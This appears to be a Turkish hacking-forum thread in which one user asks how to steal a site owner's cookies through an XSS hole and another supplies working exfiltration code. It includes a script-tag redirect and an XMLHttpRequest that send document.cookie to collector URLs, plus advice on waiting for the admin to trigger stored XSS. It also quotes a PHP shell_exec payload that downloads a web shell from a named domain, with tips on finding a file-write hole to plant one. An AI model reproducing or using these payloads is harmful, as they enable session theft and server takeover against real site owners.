Web bilgisi olan herkes konuya lütfen

Büyük İskender · 7 Nis 2022

Xss açıklı bir site buldum cookiesini çekmek istedim
<script>location.href='http://hungry-sammet.20-231-41-40.plesk.page/dusencookie.php'+escape(document.cookie)</script>
Bu kodu yazdım şimdi adamın sitesine düşen girişler bana gelmiyor bana gelmediği gibi de adam txtye girince https://hungry-sammet.20-231-41-40.plesk.page/dusencookie.php?cookie=
Bu siteye atıyor adamı ve beyaz bir ekran oluyor
Yardım edin bana, adamın cookiesini xss açığından nasıl çekerim?

AsiL_RuH · 7 Nis 2022

yanlış javascript kodunu yazmışsın.
basit bir şekilde XMLHTTPrequest atarak işi çözebilirsin.

Büyük İskender · 7 Nis 2022

AsiL_RuH' Alıntı:
yanlış javascript kodunu yazmışsın.
basit bir şekilde XMLHTTPrequest atarak işi çözebilirsin.

Peki onu nasıl atarım?

AsiL_RuH · 7 Nis 2022

khalidabaszade' Alıntı:
Peki onu nasıl atarım?

JavaScript:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/cookijs.php?cookies='+escape(document.cookie), true);
xhr.send(null);

Büyük İskender · 7 Nis 2022

AsiL_RuH' Alıntı:
JavaScript:

var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://example.com/cookijs.php?cookies='+escape(document.cookie), true); xhr.send(null);

Saol

Büyük İskender · 7 Nis 2022

AsiL_RuH' Alıntı:
JavaScript:

var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://example.com/cookijs.php?cookies='+escape(document.cookie), true); xhr.send(null);

Olmuyor yine oluşan dosyanın ve sitenin içi beyaz

AsiL_RuH · 7 Nis 2022

khalidabaszade' Alıntı:
Olmuyor yine oluşan dosyanın ve sitenin içi beyaz

Aga XSS client tarafta çalışır biliyorsun dimi bunları?
Eğer XSS varsa bekleyeceksin hedef web appteki userın o stored xss payloadını çalıştırmasını yani şunu demek istiyorum
karşıdaki kişi kendi tarayıcısında admin paneline girmeli ki xss payload çalışssın o girmediği sürece payload çalışmaz client side çünkü

Büyük İskender · 7 Nis 2022

AsiL_RuH' Alıntı:
Aga XSS client tarafta çalışır biliyorsun dimi bunları?
Eğer XSS varsa bekleyeceksin hedef web appteki userın o stored xss payloadını çalıştırmasını yani şunu demek istiyorum
karşıdaki kişi kendi tarayıcısında admin paneline girmeli ki xss payload çalışssın o girmediği sürece payload çalışmaz client side çünkü

Heee anladım usta sağol

Büyük İskender · 7 Nis 2022

AsiL_RuH' Alıntı:
yanlış javascript kodunu yazmışsın.
basit bir şekilde XMLHTTPrequest atarak işi çözebilirsin.

><?php $çıktı = shell_exec('wget https://www.merbamakina.com.tr/tema/genel/uploads/ik/shell.txt && mv shell.txt shell.php'); echo "<pre>$çıktı</pre>";?><script src=https://wulk4nsploix.xss.ht></script>
bu nedir peki

AsiL_RuH · 7 Nis 2022

khalidabaszade' Alıntı:
><?php $çıktı = shell_exec('wget https://www.merbamakina.com.tr/tema/genel/uploads/ik/shell.txt && mv shell.txt shell.php'); echo "<pre>$çıktı</pre>";?><script src=https://wulk4nsploix.xss.ht></script>
bu nedir peki

sistemde yazma yetkisi varsa ve yazılan dosya php ise önlem alınmadıysa sisteme shell çekilebiliri.
sistemine shell yüklenmiş kanks.

Büyük İskender · 7 Nis 2022

AsiL_RuH' Alıntı:
sistemde yazma yetkisi varsa ve yazılan dosya php ise önlem alınmadıysa sisteme shell çekilebiliri.
sistemine shell yüklenmiş kanks.

Xss açığından mı yüklemiş?ben nasıl yükleye bilirim peki kanka?

AsiL_RuH · 7 Nis 2022

khalidabaszade' Alıntı:
Xss açığından mı yüklemiş?ben nasıl yükleye bilirim peki kanka?

Hayır bu açık dosya yazma açığı.
Senin yüklemen için ilk önce o açığın nerede olduğunu bilmen lazım. Uygulamanın hangi kısmında yazdığım php kodları uygulamada çalışıyor bunu tespit etmen lazım.

Büyük İskender · 7 Nis 2022

AsiL_RuH' Alıntı:
Hayır bu açık dosya yazma açığı.
Senin yüklemen için ilk önce o açığın nerede olduğunu bilmen lazım. Uygulamanın hangi kısmında yazdığım php kodları uygulamada çalışıyor bunu tespit etmen lazım.

Anladım

Web bilgisi olan herkes konuya lütfen

About Us & Legal Notice